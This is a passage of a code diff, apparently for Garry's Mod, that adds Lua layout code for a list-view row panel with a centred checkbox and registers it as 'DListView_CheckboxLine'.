height = self:GetTall() + + local x = 0 + for k, column in pairs(self.Columns) do + if k == 1 then + column:SetVisible(false) + end + + local w = listView:ColumnWidth(k) + column:SetPos(x, 0) + column:SetSize(w, height) + if k == 1 then + self.Check:SetPos(x + (w - self.Check:GetWide()) / 2, + (height - self.Check:GetTall()) / 2) + end + x = x + w + end +end + +vgui.Register("DListView_CheckboxLine", PANEL, "DListView_Line") \ No newline at end of file